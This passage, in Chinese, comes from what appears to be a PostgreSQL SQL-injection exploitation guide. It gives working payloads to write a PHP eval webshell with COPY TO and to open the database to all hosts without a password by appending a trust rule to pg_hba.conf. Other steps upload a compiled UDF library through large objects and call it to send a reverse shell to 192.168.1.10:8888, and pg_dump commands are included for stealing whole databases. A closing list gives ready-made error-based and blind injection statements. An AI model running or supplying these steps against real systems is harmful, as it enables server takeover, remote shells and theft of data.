Copy from 只能导入与服务器编码相同的文本文件(一般为默认值 UTF8) ,如果导入文件中以服务器编码加载时出现无效字符,则会返回“无效的 XXXX 编码字节顺序”的错误,其中 XXXX 为编码名称,如 UTF8。  
例如,在一个文本文件中写入文本“测试” ,并以 ANSI 编码保存(这样在简体中文操作系统中文件实际的编码为 GB2312) ,执行语句: 
          
  1. copy test_for_copy ( data ) from 'c:/windows/temp/files.txt' ;  
会返回以下错误信息: 
          
  1. 无效的 "UTF8" 编码字节顺序: 0xb2  
同样的, 既然无法导入不同编码的文件, 那么导入二进制文件更加是不可能的。 如果通过某些漏洞 (例如编辑器带来的目录遍历)获取到服务器重要备份文件路径(非 web 目录下) ,结果却无法将其下载下来
 
Copy to 可以将一个表中的字段或一个查询的结果导出到文件中,用于脱裤是很方便的。  <写文件>
例如,以下语句会将 files 表的内容全部备份到 c:/windows/temp/files.txt: 
        
  1. copy files to 'c:/windows/temp/files.txt' ;  
以下语句会将 php 一句话<?php @eval($_POST['pass']);?>写入 c:/windows/temp/111.txt: 
        
  1. copy ( select $$ <? php @eval ( $_POST [ 'pass' ]);?> $$ ) to 'c:/windows/temp/111.txt'  
但是 copy to 也有一个缺点:不能导出二进制文件。任何不能转换为字符串的字节都将被转换为八进制形式,例如以下代码尝试将字节数组{0xfe,0xff,oxbf}写入文件 c:/windows/temp/111.txt,但实际上只会写入字符串\\376\\377\\277: 
        
  1. copy ( select decode ( 'feffbf' , 'hex' )) to 'c:/windows/temp/111.txt' ;  
在某些时候,导出完整的、未经任何修改的原始二进制文件时很必要的(具体参见 0x60 利用 UDF 函数获取反弹 Shell) ,copy to 显然不适合这种情况。 
 
关于 copy 语句的更多信息,请参考官方文档: 
        
  1. http : //www.postgresql.org/docs/9.1/static/sql-copy.html 
 
0x52 基本无用的 adminpack 
Adminpack 是 postgres 在 8.2 新加入的一个拓展,这个拓展可以包含一系列函数,可以在允许的范围内进行文件操作。 
这些函数大多数并没有添加,需要手动进行添加。已经添加的函数列表如下,adminpack 会将其指定为另一个别名(原始名称仍可用) : 
          
  1. pg_read_file ( text , bigint , bigint )  
  2. pg_stat_file ( text )  
  3. pg_rotate_logfile ()  
其余函数的添加语句见 postgres 安装目录下 /share/extension/adminpack-1.0.sql(windows) 
或 postgres 源码目录下 /contrib/adminpack/adminpack--1.0.sql(linux,仅源码安装方式,非 apt-get) 
注意:在 linux 下需手动编译 adminpack.c,命令为 
        
  1. gcc $PGSRC / contrib / adminpack / adminpack . c - shared - fPIC - I / usr / local / pgsql / include / server  - o adminpack . so 
其中$PGSRC 为 postgres 源码路径。 
 
由于 pg_ls_dir(text)、pg_read_binary_file(text, bigint, bigint)两个函数与 adminpack 函数极为相似,所以在此也归为 adminpack 函数中。 

网上能够找到的 pg 注入读写文件第二种方法就是使用 adminpack, adminpack 可以进行在允许的范围内文件操作,但范围只限于数据目录中。也就是说,在数据目录外的文件不可能通过 adminpack 函数进行操作。 
Adminpack 函数的源代码见: 
        
  1. http : //doxygen.postgresql.org/adminpack_8c_source.html(sql 文件中前五个函数) 
  2. http : //doxygen.postgresql.org/genfile_8c_source.html(其余的 adminpack 函数) 
可以看到,这些进行文件操作的函数都经过 convert_and_check_filename 函数进行检测。如果使用绝对路径查询,会返回“不允许使用绝对路径”的错误;如果路径中使用了..跳转到上级目录,则返回“路径必须在当前目录或子目录下”的错误。 这样,adminpack 只能读取数据目录的文件或向其中写入文件,限制目录的文件读取作用有限,同时,由于 pg_file_write 的函数签名为 pg_file_write(text,text,boolean),其中第一个参数为路径,第二个参数为要写入的内容, 第三个参数为是否追加, 导致写入二进制文件是不可能的 (postgres 不允许 0 字符) 。  
当然,adminpack 也不是完全没有用处,由于 postgres 对于登陆的授权文件 pg_hba.conf 也处于 data目录,刚好可以由 adminpack 函数编辑。所以当可以使用 adminpack 函数时,可以尝试以下操作: 
执行查询语句: 
        
  1. Select inet_server_addr ();  
将返回数据库的 IP 地址(相对于本次连接) ,如果为 127.0.0.1,则说明与 web 服务器为相同 ip。 
 
之后执行查询语句: 
        
  1. select pg_file_write ( 'pg_hba.conf' , chr ( 10 )|| ' host  all all   0.0 . 0.0 / 0  trust '||chr(10),true); 
这将在pg_hba.conf末尾添加一条授权, 表示允许来自任何ip的任何用户使用任何用户(包括postgres)连接任何数据库,同时信任本次连接,不要求任何授权验证(除非有其余语句显式限制了某个 IP 段) 。 
注意:语句中的空格不可省略。 
另:如果以上操作失败,请检查数据库服务器是否为外网。或使用以下语句: 
        
  1. select pg_read_file ( 'pg_hba.conf' ):: int ;  
读取 pg_hba.conf 并分析,必要时将 pg_file_write 函数的第三个参数设为 false,从而达到覆盖配置文件的效果。 
 
然后等待数据库服务器重启(windows 下面配置文件一经修改会自动重新加载,可以直接进行连接) ,最后即可使用 psql 工具远程连接数据库执行查询,或是用 pgadmin/pg_dump 脱裤。 
 
例如以下语句会连接远程数据库 192.168.223.173, 并将 test 数据库备份到本地 back.backup 文件中:  
        
  1. pg_dump . exe - w -- host 192.168 . 223.173 -- username "postgres" -- compress 9 -- no - password  -- blobs -- section pre - data -- section data -- section post - data -- encoding UTF8 -- inserts  -- column - inserts -- verbose -- file back . backup "test"  
有关 pg_hba.conf 更多的信息,参考: 
        
  1. http : //www.postgresql.org/docs/current/static/auth-pg-hba-conf.html 
更多关于 psql 与 pg_dump 命令行格式的内容,请执行 psql --help 或 pg_dump --help。 

0x53 使用 Large Object实现文件操作 
Large Object 可以近似的看作储存于数据库中的逻辑文件,在使用时可以完全的将其作为文件进行操作。 
操作 Large Object 要求 super 权限,如果是非 super 权限,则会显示以下错误信息: 
错误:  必须是管理者才能使用服务器 lo_import() 
HINT:  任何人都能使用 libpq 提供的客户端 lo_import()。 
 
创建大对象有两种方法:导入或新建。 
使用 lo_creat 函数即可创建一个空的大对象,并由系统自动分配 oid,例如执行语句: 
        
  1. select lo_creat (- 1 );  
会返回一个 oid,例如 73954。 
 
也可以使用 lo_create 函数创建空的大对象,并将大对象与指定的 oid 相关联。例如执行语句: 
        
  1. select lo_create (- 1 );  
会返回 4294967295,表示成功创建 oid 为 4294967295 的大对象 
 
或者可以使用 lo_import 将某个已存在的文件导入为大对象,并由系统自动分配 oid,例如执行语句:  
        
  1. select lo_import ( 'c:/windows/system32/cmd.exe' );  
会返回一个 oid,例如 73955,同时大对象中的数据即为完整的 cmd.exe。 
也可以手动指定大对象的 oid,注意这个 oid 不可与其他大对象的 oid 相重复,例如执行语句: 
        
  1. Select lo_import ( 'c:/windows/system32/cmd.exe' , 12345678 );  
会返回 12345678,表示成功创建 oid 为 12345678 的大对象并将 cmd.exe 导入其中。 
 
创建完大对象后便可以使用 lo_open 打开这个大对象,lo_open 的函数签名为 lo_open(oid, int),第一个参数为大对象的 oid,第二个参数为读写模式,是一个常量。 

这个函数在官方函数文档中没有任何说明,在 API 文档中的说明为“打开一个大对象返回其操作描述符” ,但实际上在查询语句中使用时不论如何都会返回 0。 
而读写模式也没有任何说明,对照 API 文档并结合源码最终发现这个模式在文件: 
        
  1. src / include / libpq / libpq - fs .
中提供了定义: 
 
这个模式可以进行位操作,指定其为 INV_READ|INV_WRITE(0x00060000)即代表可以同时进行读写操作。 
综上,可以使用以下语句打开一个大对象,并指定操作为写入: 
        
  1. select lo_open ( 73954 , x '20000' :: int );  
 
注:打开一个大对象之后,大对象的数据指针会指向其最开始的那个字节。 
 
写 入 大 对 象 需 要 使 用 函 数 lowrite( 注 意 这 里 没 有 下 划 线 ) , lowrite 的 函 数 签 名 为lowrite(int,bytea),第一个参数为由 lo_open 函数打开所返回的句柄,第二个参数为要写入的内容(从这里就能看出,可以向大对象中写入任何内容) 。同样的,这个函数在官方函数文档也没有任何说明。 
 
例如以下语句会将 0xfeffbf 写入 oid 为 73954 的大对象中: 
        
  1. select lo_open ( 73954 , x '20000' :: int );  
  2. select lowrite ( 0 , decode ( 'feffbf' , 'hex' ));  
注意:这里使用 decode 函数将 hex 值转换为字节数组,直接使用 unknown 类型是不正确的。 
 
有时候可能需要分多次将数据导入同一个大对象中,这就要求每一次进行写操作前大对象的数据指针都指向末尾,使用 lo_lseek 函数即可完成这一点。 lo_lseek 的函数签名为 lo_lseek(int,int,int),第一个参数为由 lo_open 函数打开所返回的句柄,第二个参数为相对位置,第三个参数为相对位置的起始点,是一个常量。 
和 lo_open 类似,这个在官方函数文档没有任何说明,通过对比 API 文档并查看源码最终在文件: 
          
  1. src / include / zconf .
中发现以下定义: 
 
综上,可以使用以下语句打开 oid 为 73954 的大对象,并将其数据指针指向末尾: 
          
  1. select lo_open ( 73954 , x '60000' :: int );  
  2. select lo_lseek ( 0 , 0 , 2 );  
之后便可以使用 lowrite 函数直接向这个大对象中写入内容。 
 
当完成对一个大对象的导入/写入操作后,接下来需要做的就是获取其内容(针对导入,即读取文件/将这个大对象导出(针对写入,即写文件)。将大对象导出可以使用 lo_export 函数,这个函数的签名为 lo_export(oid,text),第一个参数为要导出的大对象的 oid,第二个参数为导出的路径,如果导出路径为相对路径,则会导入至当前的数据目录中。 
例如,执行以下语句会将 oid 为 73954 的大对象导出至 c:/windows/temp/123.txt 
        
  1. select lo_export ( 73954 , 'c:/windows/temp/1.txt' );  
 
Postgres 会将所有的大对象数据保存于 pg_catalog 目录下的 pg_largeobject 目录对象中,这个目录对象有三个字段,loid、pageno、data。 
loid 代表大对象的 oid,与 lo_create 等函数的返回值相同。 
pageno 为分页序号,大对象的数据会被分为多个页进行储存,这个字段就是每个页之间的序号。 
Data 为储存在这一页中的部分大对象数据,为 bytea 类型。 
 
于是在知道 oid 的时候,可以使用以下语句获取一个大对象中所有的数据: 
          
  1. select array_agg ( b ):: text :: int from ( select encode ( data , 'hex' ) b , pageno from pg_largeobject  where loid = 73957 order by pageno ) a --  
从返回的错误信息中去掉花括号、逗号,仅保留 HEX 字符,之后将所有的 HEX 字符粘贴到 winhex 中即可完整的还原这个大对象。 
 
当需要关闭一个大对象时,可以使用 lo_close 函数,这个函数的签名为 lo_close(int),参数为由lo_open 函数打开所返回的句柄。 
例如,使用以下语句即可关闭已经打开的大对象: 
        
  1. select lo_open ( 73954 , x '60000' :: int );  
  2. select lo_close ( 0 );  
 
最后,如果需要删除一个大对象,需要使用 lo_unlink 函数,例如执行以下语句会将 oid 为 73954 的大对象永久删除。 
          
  1. Select lo_unlink ( 73954 );  
 
关于 Large Object 的官方 API 文档与函数文档,参考: 
        
  1. http : //www.postgresql.org/docs/9.1/static/lo-interfaces.html 
  2. http : //www.postgresql.org/docs/9.1/static/lo-funcs.html 
 
另:在 linux 系统下如果 lo_import 等函数的第一个参数指向的路径是一个目录,则会返回以下错误: 
          
  1. ERROR :  could not read server file "/" : 是一个目录  
而在 windows 下会返回: 
          
  1. 错误:   无法打开服务器文件 "c:/windows/temp" : Permission denied 
这个错误提示在注入中可以用来猜测目录,在有时会有意想不到的收获。 
 
0x60 利用 UDF 函数获取反弹 Shell 
Postgres 支持许多种语言自定义函数,默认情况下开启 plpgsql 和 c,其中 plpgsql 为标准的 sql 语句,而 c 则与 mysql UDF 类似,会加载一个动态链接库到进程空间。这样如果将 UDF 中的函数实现替换为特定的代码,就能在数据库权限下进行更多的操作(例如执行某些命令,或是干脆直接反弹回一个 shell等等) 。 
如果是其他类型数据库的注入点直接加载 UDF 似乎是不可能的,不过 postgres 强大的 Large Object将这一切变为了可能。 
 
在进行这一特性的利用之前,首先需要了解如何编写 postgres 的 UDF 函数。这需要使用 postgres 附带的头文件,具体参见 0x82 UDF 的一些注意事项,这里不做赘述。 
假设现在已经拥有保存于 c:/windows/temp/test.dll、导出函数名为 GetResvShell 的一个 UDF 文件。同时这个函数会接受两个参数, 第一个参数为 text 类型, 表示要反弹到的远程主机, 第二个参数为 int 型,表示远程主机的端口,并且会返回一个 int 型的数值表示执行的结果,那么使用以下 sql 语句即可将此文件与其导出函数 GetResvShell 注册为函数 test: 
        
  1. Create or replace function test ( text , int ) returns int as 'c:/windows/temp/test.dll' ,   'GetResvShell' language c ;  
最后,在远程主机监听 8888 端口,同时执行 
        
  1. select test ( '192.168.1.10' , 8888 );  
即可获取一个与 postgres 相同权限的 shell。 
 
当然,这里只是本地进行测试的过程,而真正在注入点要比这繁琐一些: 
1、首先需要查看是否为 super 权限: 
        
  1. select usesuper :: text :: int from pg_user where usename = current_user ;  
2、如果确认为 super 权限,同时可以通过联合查询返回结果则执行以下语句: 
        
  1. Select 1 , 2 , lo_creat (- 1 );  
否则创建临时表保存返回的 oid: 
        
  1. Create table tempAD4EA ( id oid ); insert into tempAD4EA values ( lo_creat (- 1 ));  
3、进行强制类型转换或盲注获取结果: 
        
  1. Select ( '' ||( id :: text )):: int from tempAD4EA --                 ---强制类型转换报错  
  2. (省略服务端脚本中部分) and ( select id from tempAD4EA )> 0 --   ---盲注  
  3. select pg_sleep ( 5 ) where ( select id from tempAD4EA )> 0 --       ---基于延时的盲注  
记下返回的 OID,以供后续使用。 
 4、删除临时表: 
          
  1. Drop table tempAD4EA ;  
5、查看数据库版本,选择正确的 UDF: 
        
  1. Select version ():: int ;  
6、根据 OID 打开之前的大对象,并向其中写入内容(语句中的 OID 为先前返回) : 
        
  1. Select lo_open ( OID , x '60000' :: int ); select lo_write ( 0 , decode ( 'HEXCODE' , 'hex' ));  
其中 HEXCODE 部分为 UDF 经过十六进制编码之后所得,可以使用 winhex 进行此操作。由于一般情况下注入点都在 URL 处,建议每次从 udf 函数中截取 512 字节并转换为 hex 值。 
7、继续向大对象中追加数据,直到 UDF 完全导入: 
        
  1. select 
  2. lo_open ( OID , x '60000' :: int ); select 
  3. lo_lseek ( 0 , 0 , 2 ); select 
  4. lo_write ( 0 , decode 
  5. ( 'XXXXXXXXXXXX' , 'hex' ));  
8、将文件导出: 
        
  1. Select lo_export ( OID , '1.dll' );  
9、删除大对象: 
        
  1. Select lo_unlink ( OID );;  
10、注册 UDF 函数: 
        
  1. Create or replace function test ( text , int ) returns int as '1.dll' , 'GetResvShell' language c ;  
11、获取反弹 Shell: 
        
  1. Select test ( '192.168.1.10' , 8888 );  

至此对 postgres 注入的利用已经结束, 得到一个与数据库进程相同权限的 Shell 已经是能够通过注入点获取到的最高权限了(在 linux 下为 postgres 用户权限,windows 下为 Network Services) 。通过这个Shell 可以执行 postgres 的本地查询工具 psql,在 linux 下 postgres 完全信任本地连接,只要在连接时指定用户为 postgres 即可对任意数据库进行查询、修改操作,而在 windows 下则需要先修改 pg_hba.conf(见本节最后的“注意” ) ,不过这不是问题,不过就是多了一次修改的操作罢了。 

 
psql 工具中可以执行任何查询语句,例如可以执行 copy to 操作进行一键脱裤等等。 也可以执行 pg_dump 进行本地脱裤,具体的命令行参见 0x52 基本无用的 adminpack。 
或者修改 pg_hba.conf 添加任意 IP 的完全信任关系,之后执行命令: 
          
  1. pg_ctl reload 
重新加载配置文件(windows 下面配置文件一经修改会自动重新加载,无需执行此操作) ,最后远程连接数据库进行脱裤操作。 
 
注意:在 windows 下必须修改 pg_hba.conf,将其中 
        
  1. host    all             all             127.0 . 0.1 / 32            md5 
  2. 修改为  
  3. host    all             all             127.0 . 0.1 / 32            trust 
才能成功登陆 psql/pg_dump(在最后添加 0x52 基本无用的 adminpack 所介绍的允许任何地址登陆的授权信息是无效的) 。这两个文件一般在 postgres 安装目录下面的 bin 目录中,大多时候与数据目录并列。
数据目录的路径可以使用以下语句进行查询: 
        
  1. select setting from pg_settings where name = 'data_directory' ;  
强烈建议在执行 pg_dump/psql 时加入-w 参数(注意 w 为小写) ,以防止非信任模式下提示输入密码而导致反弹 shell 卡死的情况。 
最后,如果反弹的 Shell 在执行 psql 等时出现乱码,windows 下可以执行以下命令修改活动代码页: 
          
  1. Chcp 65001  
其中 65001 为 UTF8 编码的代码页,表示将当前命令提示符的编码更改为 UTF8,这样可以有效避免乱码的情况。 
更多的代码页与对应的编码名称参考以下链接(根据操作系统不同,不保证所有代码页均可用,例如在简体中文操作系统尝试将代码页修改为 950(繁体中文-BIG5)会返回无效代码页的错误) : 
        
  1. http : //msdn.microsoft.com/zh-cn/library/system.text.encoding 
更多关于 create function 的信息,参考: 
        
  1. http : //www.postgresql.org/docs/9.1/static/sql-createfunction.html 
  2. http : //www.postgresql.org/docs/9.1/static/xfunc-c.html 
  3.  

0x70 附录 A:常用函数 
这里列出了大部分较为常用的函数,以供便捷查询。 
当然,不可能列出每一个可能用到的函数,更多的函数参考官方文档中函数列表: 
        
  1. http : //www.postgresql.org/docs/9.2/static/functions.html 
另外,如果安装了 postgres 环境,则可在 pgadmin 中查看 pg_catalog 目录,其中函数集合中记录了
所有的函数,这些函数要比官方文档中介绍的还要多而且全面。 
          
  1. current_database ()   --获取当前数据库名称  
  2. current_schema ()   --获取当前 Schema 名称  
  3. current_user   --获取当前用户名   注意,没有括号,但这确实是一个函数  
  4. inet_server_addr ()    --获取数据库服务器 ip 地址与其网段  
  5. version ()   --获取数据库版本  
  6. encode ( bytea , text )   --将字节数组转换为指定格式,支持  
  7. base64 / hex / escape 三种格式  
  8. decode ( text , text )   -- encode 的反函数  
  9. concat_ws ( text , "any" )   --将 any 代表的多个对象转换为文本,并以第一个参数指   定的分隔符连接为字符串。  
  10. concat ( "any" )   --将 any 代表的多个对象转换为文本,并连接为字符串  
  11. left ( text , int )   --从字符串最左边取 int 个字符  
  12. right ( text , int )   --从字符串最右边取 int 个字符  
  13. substr ( text , int [, int ])   --从字符串指定的位置截取指定个数的字符串,如果第三   个参数未指定,则从指定位置截取到字符串末尾。  
  14. md5 ( text )   --求字符串的 MD5  
  15. ascii ( text )   --返回参数中第一个字符的 ascii  
  16. chr ( int )   --将 int 表示的数字转换为具有其 ascii 码的对应的字符  
  17. length ( text )   --求字符串的长度  
  18. Array ( expression )   --将多行单列结果集转换为单行单列数组  
  19. Row ( expression )   --将单行多列的结果转换为单行单列  
  20. Array_agg ( expression )   --将多行单列结果集转换为单行单列数组,这是一个   聚合函数  
  21. unnest ( anyarray )   --将数组还原为多行结果集  

0x80 附录 B:附件 
0x81 测试数据库与测试站点 
postgres 下载地址为: 
          
  1. http : //www.postgresql.org/download/ 
安装完数据库环境后,需要配置 pg_hba.conf 开启外连,参见 0x52 基本无用的 adminpack。 
 
之后使用 pgadmin3 连接本地数据库,新建一个 test 数据库。选中这个数据库,然后点击最上面的 SQL图标打开查询窗口,执行 init.sql 中的语句创建用户、表和字段。 
然后配置 php,开启 php_pgsql 拓展: 
修改 php.ini,将 
          
  1. extension = php_pgsql . dll 
  2. extension = php_pgsql . dll 
两行前面的注释取消。 
 
最后修改测试站点中第六行,将 host=db-postgres 中的 db-postgres 修改为数据库服务器地址/域名 ,这个连接字符串使用非 super 用户 test 进行操作,如果需要使用 super 用户,请取消第五行的注释并进行修改。 
 
0x82 UDF的一些注意事项 
 
编写 postgres 的 UDF 需要引用其提供的头文件,在 windows 下这些头文件的位置为: 
          
  1. % PGDIR % \include 
其中%PGDIR%为 postgres 的安装路径 而需要引用的头文件目录并不仅仅只有这个,以下两个目录也是必须的: 
          
  1. % PGDIR % \include\server 
  2. % PGDIR % \include\server\port\win32 
这三个路径都需要加到工程的头文件目录列表中。 
同时,需要将 
          
  1. % PGDIR % \lib 
添加至 lib 文件目录列表中。 
 
在编译时,必须使用 vs 进行编译,使用 vc6 编译会失败(原因未知) 。 
同时也不能使用 release 模式生成,release 的某个选项会导致编译出的 dll 不能正常使用(vs2008出现此情况,其余版本未测试) 。 
为了防止对方未安装 vc 运行库,务必将 配置属性->C/C++->代码生成 中的 代码生成 选项修改为多线程/MT,以保证在任何情况下均能够正常运行。 
最后,为了尽可能的减小生成文件体积,需要修改 配置属性->链接器 中以下几个参数: 
          
  1. 清单文件->生成清单,修改为否  
  2. 调试->生成调试信息,修改为否  
  3. 优化->引用,修改为是  
  4. 优化->启用 COMDAT 折叠,修改为是  
在 vs2008 下使用以上设置,编译成功。 
另:建议将生成的动态链接库文件使用 UPX 进行压缩,这样可以有效地减少文件体积。UPX 的下载地
址为: 
        
  1. http : //upx.sourceforge.net/#downloadupx 
  2.  
而在 linux 下则简单许多,只需要一条命令: 
        
  1. gcc pg_resvshell_linux . c - shared - fPIC - I$PGSRC / include / server - o / tmp / udf . so 
其中$PGSRC 为 postgres 源码的路径。 
 
注意:在编译 UDF 时会将编译所使用的头文件中定义的版本号记录至文件中(例如 postgres9.2.4 的版本号为 902,最后的修订号被省略) ,同时在加载 UDF 时会检查当前版本号与 UDF 中记录的版本号,如果这两个版本数值不相等,则在创建 UDF 函数时会返回“版本不兼容”的错误。 同时 postgres 的 UDF 不具备向下兼容的功能,即:9.1 版本的 UDF 不能在 9.2 版本的数据库中使用。而如果将其他版本的 UDF 文件中储存的这个值修改为目标版本的值,虽然可以成功加载,但运行时却不能得出需要的结果(甚至会导致数据库进程崩溃) 。 所以只能根据数据库的版本选择需要的 UDF,好在,编译一个 UDF 并不会费什么时间。 
 
附件中的 pg_9.2_i386.dll 在 win2003 sp2(x86)+ postgres9.2 环境下测试成功。此文件的三个导出函数的签名为: 
int GetResvShell(text,int)   参数一为 IP,参数二为端口,使用默认的 cmd.exe 
int GetResvShellByCmdPath(text,int,text)  参数三为 cmd 路径,路径中的分隔符必须为\,其余同上 
int GetResvShellByCmdPathAndParms(text,int,text,text) 参数四为需要传递的参数,其余同上。 
如果函数返回值为 0,表示不能连接到目标主机;如果返回值为 1,表示操作成功;其他返回值均为 CreatePrrocess 函数失败时返回的 ErrorCode,可以从以下页面查看其具体含义: 
        
  1. http : //msdn.microsoft.com/en-us/library/ms681382%28v=vs.85%29.aspx 

pg_9.2_i386.so 在 ubuntu 12.04(x86) + postgres9.2 环境下测试成功,pg_8.1_x64_64.so 在centos(x64) + postgres8.1 环境下测试成功,pg_8.1_i386.so 在 centos(x86) + postgres8.1 环境下测试成功。这几个文件只具备上述三个函数中的第一个,函数签名完全相同。如果创建进程失败,则函数将返回 0,否则无论如何都将返回 1。 
 
0x83 常用注入语句 
这里的注入语句都是最简化、最常用的注入语句。由于不能确定具体的注入类型,所有语句仅为可以直接在查询分析器中执行的标准 sql 语句,实际使用时需要根据注入点灵活进行修改。 
语句没有进行任何绕过限制的措施,如有需要请自行参照 0x40 构建更加精巧的注入语句进行修改。 
 
通用报错,其中 expression 最好为经过聚合后的返回单行单列的表达式: 
          
  1. Select ( '!' ||( expression )):: text :: int ;  
通用报错 2,使用 limit 语句逐条报错(不推荐) : 
        
  1. select b :: int from ( select '!' ||[ field ] as b from [ table ] limit 1 offset 0 ) x ;  
显示当前用户及是否为 Super 权限: 
        
  1. select concat_ws ( ':' , usename , usesuper :: text ) from pg_user where usename = current_user ;  
显示当前 Schema、当前数据库: 
        
  1. select concat_ws ( ':' , current_schema , current_database ());  
显示所有 Schema、表、字段并按照对应关系进行排列(仅用于多行执行可用的情况下) : 
          
  1. with 
  2. as 
  3. ( select 
  4. table_name 
  5. tname , array_agg ( column_name :: text ) cname ,  
  6. array_agg ( table_schema :: text ) sname from information_schema . columns where table_schema not in 
  7. ( 'pg_catalog' , 'information_schema' )  
  8. group 
  9. by 
  10. 1  
  11. ),
  12. as ( select 
  13. unnest ( sname ) sname ,  
  14. tname , unnest ( cname ) cname from a order by 1 ) select array ( select row ( sname , tname , cname ):: text from 
  15. b );  
显示所有 Schema、表、字段并按照对应关系进行排列(任意情况均可用) : 
        
  1. select 
  2. array ( select 
  3. row ( sname , tname , cname ):: text 
  4. from ( select 
  5. unnest ( sname ) sname ,  
  6. tname , unnest ( cname ) cname from ( select table_name tname , array_agg ( column_name :: text ) cname ,  
  7. array_agg ( table_schema :: text ) sname from information_schema . columns where table_schema not in 
  8. ( 'pg_catalog' , 'information_schema' ) group by 1 ) a order by 1 ) b );  
显示某一个表中指定的几个字段中所有的数据: 
        
  1. select array ( select row ([ field list ]) from [ table ]);